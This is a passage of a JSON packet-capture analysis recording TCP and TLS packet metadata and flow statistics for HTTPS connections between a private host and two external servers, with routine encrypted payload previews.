\"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40058, \"ip_len\": 1086, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465618, \"tcp_ack\": 507096190, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 50, \"timestamp\": 1781446608.472089, \"timestamp_iso\": \"2026-06-14T19:46:48.472089\", \"timestamp_human\": \"2026-06-14 19:46:48.472\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40059, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251466664, \"tcp_ack\": 507096254, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 51, \"timestamp\": 1781446608.825619, \"timestamp_iso\": \"2026-06-14T19:46:48.825619\", \"timestamp_human\": \"2026-06-14 19:46:48.825\", \"size\": 716, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40060, \"ip_len\": 702, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251466664, \"tcp_ack\": 507096254, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 54, \"timestamp\": 1781446608.830202, \"timestamp_iso\": \"2026-06-14T19:46:48.830202\", \"timestamp_human\": \"2026-06-14 19:46:48.830\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40061, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251467326, \"tcp_ack\": 507096364, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 55, \"timestamp\": 1781446609.108755, \"timestamp_iso\": \"2026-06-14T19:46:49.108755\", \"timestamp_human\": \"2026-06-14 19:46:49.108\", \"size\": 683, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40062, \"ip_len\": 669, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251467326, \"tcp_ack\": 507096364, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 15, \"PSH\": 7}, \"packet_sizes\": [66, 54, 3470, 1006, 54, 481, 54, 54, 54, 92, 1100, 54, 716, 54, 683], \"inter_packet_intervals\": [0.0018928050994873047, 0.3228590488433838, 0.000202178955078125, 0.01771998405456543, 0.2618827819824219, 0.01633620262145996, 3.790855407714844e-05, 2.288818359375e-05, 0.3072841167449951, 0.02422809600830078, 0.0012309551239013672, 0.3535299301147461, 0.004583120346069336, 0.2785530090332031], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 1.5903630256652832, \"avg_packet_size\": 532.8, \"packets_per_second\": 9.431808812157952, \"bytes_per_second\": 5025.267735117756, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 66, \"avg_interval\": 0.11359735897609166, \"min_interval\": 2.288818359375e-05, \"max_interval\": 0.3535299301147461}, {\"source\": \"10.152.152.11\", \"target\": \"40.98.16.61\", \"packet_count\": 34, \"total_bytes\": 3340, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63993, 64005], \"dst_ports\": [443], \"first_packet\": 1781446610.277025, \"last_packet\": 1781446614.964237, \"packets\": [{\"packet_number\": 57, \"timestamp\": 1781446610.277025, \"timestamp_iso\": \"2026-06-14T19:46:50.277025\", \"timestamp_human\": \"2026-06-14 19:46:50.277\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61909, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838184, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 59, \"timestamp\": 1781446610.277362, \"timestamp_iso\": \"2026-06-14T19:46:50.277362\", \"timestamp_human\": \"2026-06-14 19:46:50.277\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61910, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838185, \"tcp_ack\": 3062731511, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 60, \"timestamp\": 1781446610.278225, \"timestamp_iso\": \"2026-06-14T19:46:50.278225\", \"timestamp_human\": \"2026-06-14 19:46:50.278\", \"size\": 260, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61911, \"ip_len\": 246, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838185, \"tcp_ack\": 3062731511, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 63, \"timestamp\": 1781446610.614623, \"timestamp_iso\": \"2026-06-14T19:46:50.614623\", \"timestamp_human\": \"2026-06-14 19:46:50.614\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61912, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838391, \"tcp_ack\": 3062734927, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 65, \"timestamp\": 1781446610.652745, \"timestamp_iso\": \"2026-06-14T19:46:50.652745\", \"timestamp_human\": \"2026-06-14 19:46:50.652\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61913, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838391, \"tcp_ack\": 3062735875, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 66, \"timestamp\": 1781446610.655906, \"timestamp_iso\": \"2026-06-14T19:46:50.655906\", \"timestamp_human\": \"2026-06-14 19:46:50.655\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61914, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838391, \"tcp_ack\": 3062735875, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104748743b11654d48ff0fa8829e21dd666b7a1adc205a54254f0d4b0bbd3de3b4107c90009b039f7768ae8a5fae08719f6ee0ec11b42e76d3f087329c37576b95b2d9ab31876bf4a1b4f4749c4d2e16a444b9c1a23739ed5b1451962b2219baa3a\", \"payload_ascii\": \"a\\u0004tC\\u0016T)\\u001df\\u0005BT;A\\u0007\\u0000\\t9v\\u0019\\u000e\\u001bBm?\\bs)uv[-\\u0018vJ\\u001bOGIjDK\\u001a#sE\\u0019b!:\"}, {\"packet_number\": 69, \"timestamp\": 1781446611.061293, \"timestamp_iso\": \"2026-06-14T19:46:51.061293\", \"timestamp_human\": \"2026-06-14 19:46:51.061\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61915, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838549, \"tcp_ack\": 3062736302, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 70, \"timestamp\": 1781446611.065292, \"timestamp_iso\": \"2026-06-14T19:46:51.065292\", \"timestamp_human\": \"2026-06-14 19:46:51.065\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61916, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838549, \"tcp_ack\": 3062736302, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 72, \"timestamp\": 1781446611.065319, \"timestamp_iso\": \"2026-06-14T19:46:51.065319\", \"timestamp_human\": \"2026-06-14 19:46:51.065\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61917, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838636, \"tcp_ack\": 3062736302, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 74, \"timestamp\": 1781446611.065372, \"timestamp_iso\": \"2026-06-14T19:46:51.065372\", \"timestamp_human\": \"2026-06-14 19:46:51.065\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61918, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838752, \"tcp_ack\": 3062736302, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 77, \"timestamp\": 1781446611.421753, \"timestamp_iso\": \"2026-06-14T19:46:51.421753\", \"timestamp_human\": \"2026-06-14 19:46:51.421\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61919, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838790, \"tcp_ack\": 3062737329, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 78, \"timestamp\": 1781446611.422459, \"timestamp_iso\": \"2026-06-14T19:46:51.422459\", \"timestamp_human\": \"2026-06-14 19:46:51.422\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61920, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838790, \"tcp_ack\": 3062737329, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 81, \"timestamp\": 1781446612.096158, \"timestamp_iso\": \"2026-06-14T19:46:52.096158\", \"timestamp_human\": \"2026-06-14 19:46:52.096\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61921, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838854, \"tcp_ack\": 3062737988, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 82, \"timestamp\": 1781446612.100373, \"timestamp_iso\": \"2026-06-14T19:46:52.100373\", \"timestamp_human\": \"2026-06-14 19:46:52.100\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61922, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838854, \"tcp_ack\": 3062737988, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 85, \"timestamp\": 1781446612.656939, \"timestamp_iso\": \"2026-06-14T19:46:52.656939\", \"timestamp_human\": \"2026-06-14 19:46:52.656\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61923, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63993, \"dst_port\": 443, \"tcp_seq\": 1686838924, \"tcp_ack\": 3062738616, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 86, \"timestamp\": 1781446613.034246, \"timestamp_iso\": \"2026-06-14T19:46:53.034246\", \"timestamp_human\": \"2026-06-14 19:46:53.034\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61924, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516158, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 88, \"timestamp\": 1781446613.034584, \"timestamp_iso\": \"2026-06-14T19:46:53.034584\", \"timestamp_human\": \"2026-06-14 19:46:53.034\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61925, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516159, \"tcp_ack\": 2259379580, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 89, \"timestamp\": 1781446613.03491, \"timestamp_iso\": \"2026-06-14T19:46:53.034910\", \"timestamp_human\": \"2026-06-14 19:46:53.034\", \"size\": 262, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61926, \"ip_len\": 248, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516159, \"tcp_ack\": 2259379580, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 92, \"timestamp\": 1781446613.420768, \"timestamp_iso\": \"2026-06-14T19:46:53.420768\", \"timestamp_human\": \"2026-06-14 19:46:53.420\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61927, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516367, \"tcp_ack\": 2259382996, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 94, \"timestamp\": 1781446613.449521, \"timestamp_iso\": \"2026-06-14T19:46:53.449521\", \"timestamp_human\": \"2026-06-14 19:46:53.449\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61928, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516367, \"tcp_ack\": 2259386900, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 96, \"timestamp\": 1781446613.460361, \"timestamp_iso\": \"2026-06-14T19:46:53.460361\", \"timestamp_human\": \"2026-06-14 19:46:53.460\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61929, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516367, \"tcp_ack\": 2259387727, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 97, \"timestamp\": 1781446613.468756, \"timestamp_iso\": \"2026-06-14T19:46:53.468756\", \"timestamp_human\": \"2026-06-14 19:46:53.468\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61930, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516367, \"tcp_ack\": 2259387727, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104f757b7d03409fc4b9ac907dba70e6b081308db5a087925152cf94f069d7e18325714af91931bf4c5dd8e743226f555375f2e31aa173b51f241efc7941cc7cce72822bc8a3d04119a3d6d7d276bd18d096343c021ff4b1809f49a2a4cd48c9eb8\", \"payload_ascii\": \"a\\u0004W4\\tK\\u0007\\u000ek\\b\\u0013\\bZ\\by%\\u0015,O\\u0006~\\u00182W\\u0014\\u001bt2&U7_.1\\u0017;QA\\u001c(\\\"=\\u0004\\u0011=m}'k\\tcC!K\\u0018\\t*L\"}, {\"packet_number\": 100, \"timestamp\": 1781446613.847252, \"timestamp_iso\": \"2026-06-14T19:46:53.847252\", \"timestamp_human\": \"2026-06-14 19:46:53.847\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61931, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516525, \"tcp_ack\": 2259388154, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 101, \"timestamp\": 1781446613.849056, \"timestamp_iso\": \"2026-06-14T19:46:53.849056\", \"timestamp_human\": \"2026-06-14 19:46:53.849\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61932, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516525, \"tcp_ack\": 2259388154, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 103, \"timestamp\": 1781446613.849141, \"timestamp_iso\": \"2026-06-14T19:46:53.849141\", \"timestamp_human\": \"2026-06-14 19:46:53.849\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61933, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516612, \"tcp_ack\": 2259388154, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 105, \"timestamp\": 1781446613.849173, \"timestamp_iso\": \"2026-06-14T19:46:53.849173\", \"timestamp_human\": \"2026-06-14 19:46:53.849\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61934, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516650, \"tcp_ack\": 2259388154, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 108, \"timestamp\": 1781446614.193954, \"timestamp_iso\": \"2026-06-14T19:46:54.193954\", \"timestamp_human\": \"2026-06-14 19:46:54.193\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61935, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516766, \"tcp_ack\": 2259388192, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 110, \"timestamp\": 1781446614.250951, \"timestamp_iso\": \"2026-06-14T19:46:54.250951\", \"timestamp_human\": \"2026-06-14 19:46:54.250\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.61\", \"ttl\": 128, \"ip_id\": 61936, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64005, \"dst_port\": 443, \"tcp_seq\": 4093516766, \"tcp_ack\": 2259389291, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, 